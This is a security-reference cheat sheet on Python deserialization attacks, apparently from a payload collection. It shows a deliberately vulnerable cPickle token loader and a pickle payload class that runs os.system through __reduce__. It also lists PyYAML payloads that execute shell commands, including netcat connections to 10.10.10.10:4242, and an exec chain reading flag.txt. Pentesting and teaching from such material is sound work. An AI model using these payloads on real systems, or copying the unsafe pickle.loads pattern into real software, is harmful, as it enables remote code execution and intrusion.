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Python Deserialization

Python deserialization is the process of reconstructing Python objects from serialized data, commonly done using formats like JSON, pickle, or YAML. The pickle module is a frequently used tool for this in Python, as it can serialize and deserialize complex Python objects, including custom classes.

Summary

Tools

Detection

In Python source code, look for these sinks:

  • cPickle.loads
  • pickle.loads
  • _pickle.loads
  • jsonpickle.decode

Pickle

The following code is a simple example of using cPickle in order to generate an auth_token which is a serialized User object. ⚠ import cPickle will only work on Python 2

import cPickle
from base64 import b64encode, b64decode

class User:
    def __init__(self):
        self.username = "anonymous"
        self.password = "anonymous"
        self.rank     = "guest"

h = User()
auth_token = b64encode(cPickle.dumps(h))
print("Your Auth Token : {}").format(auth_token)

The vulnerability is introduced when a token is loaded from an user input. 

new_token = raw_input("New Auth Token : ")
token = cPickle.loads(b64decode(new_token))
print "Welcome {}".format(token.username)

Python 2.7 documentation clearly states Pickle should never be used with untrusted sources. Let's create a malicious data that will execute arbitrary code on the server.

The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

import cPickle, os
from base64 import b64encode, b64decode

class Evil(object):
    def __reduce__(self):
        return (os.system,("whoami",))

e = Evil()
evil_token = b64encode(cPickle.dumps(e))
print("Your Evil Token : {}").format(evil_token)

PyYAML

YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.

!!python/object/apply:time.sleep [10]
!!python/object/apply:builtins.range [1, 10, 1]
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
!!python/object/new:subprocess [["ls","-ail"]]
!!python/object/new:subprocess.check_output [["ls","-ail"]]

!!python/object/apply:subprocess.Popen
- ls

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
  state:
    update: !!python/name:exec

Since PyYaml version 6.0, the default loader for load has been switched to SafeLoader mitigating the risks against Remote Code Execution. PR fixing the vulnerabily

The vulnerable sinks are now yaml.unsafe_load and yaml.load(input, Loader=yaml.UnsafeLoader).

with open('exploit_unsafeloader.yml') as file:
        data = yaml.load(file,Loader=yaml.UnsafeLoader)

References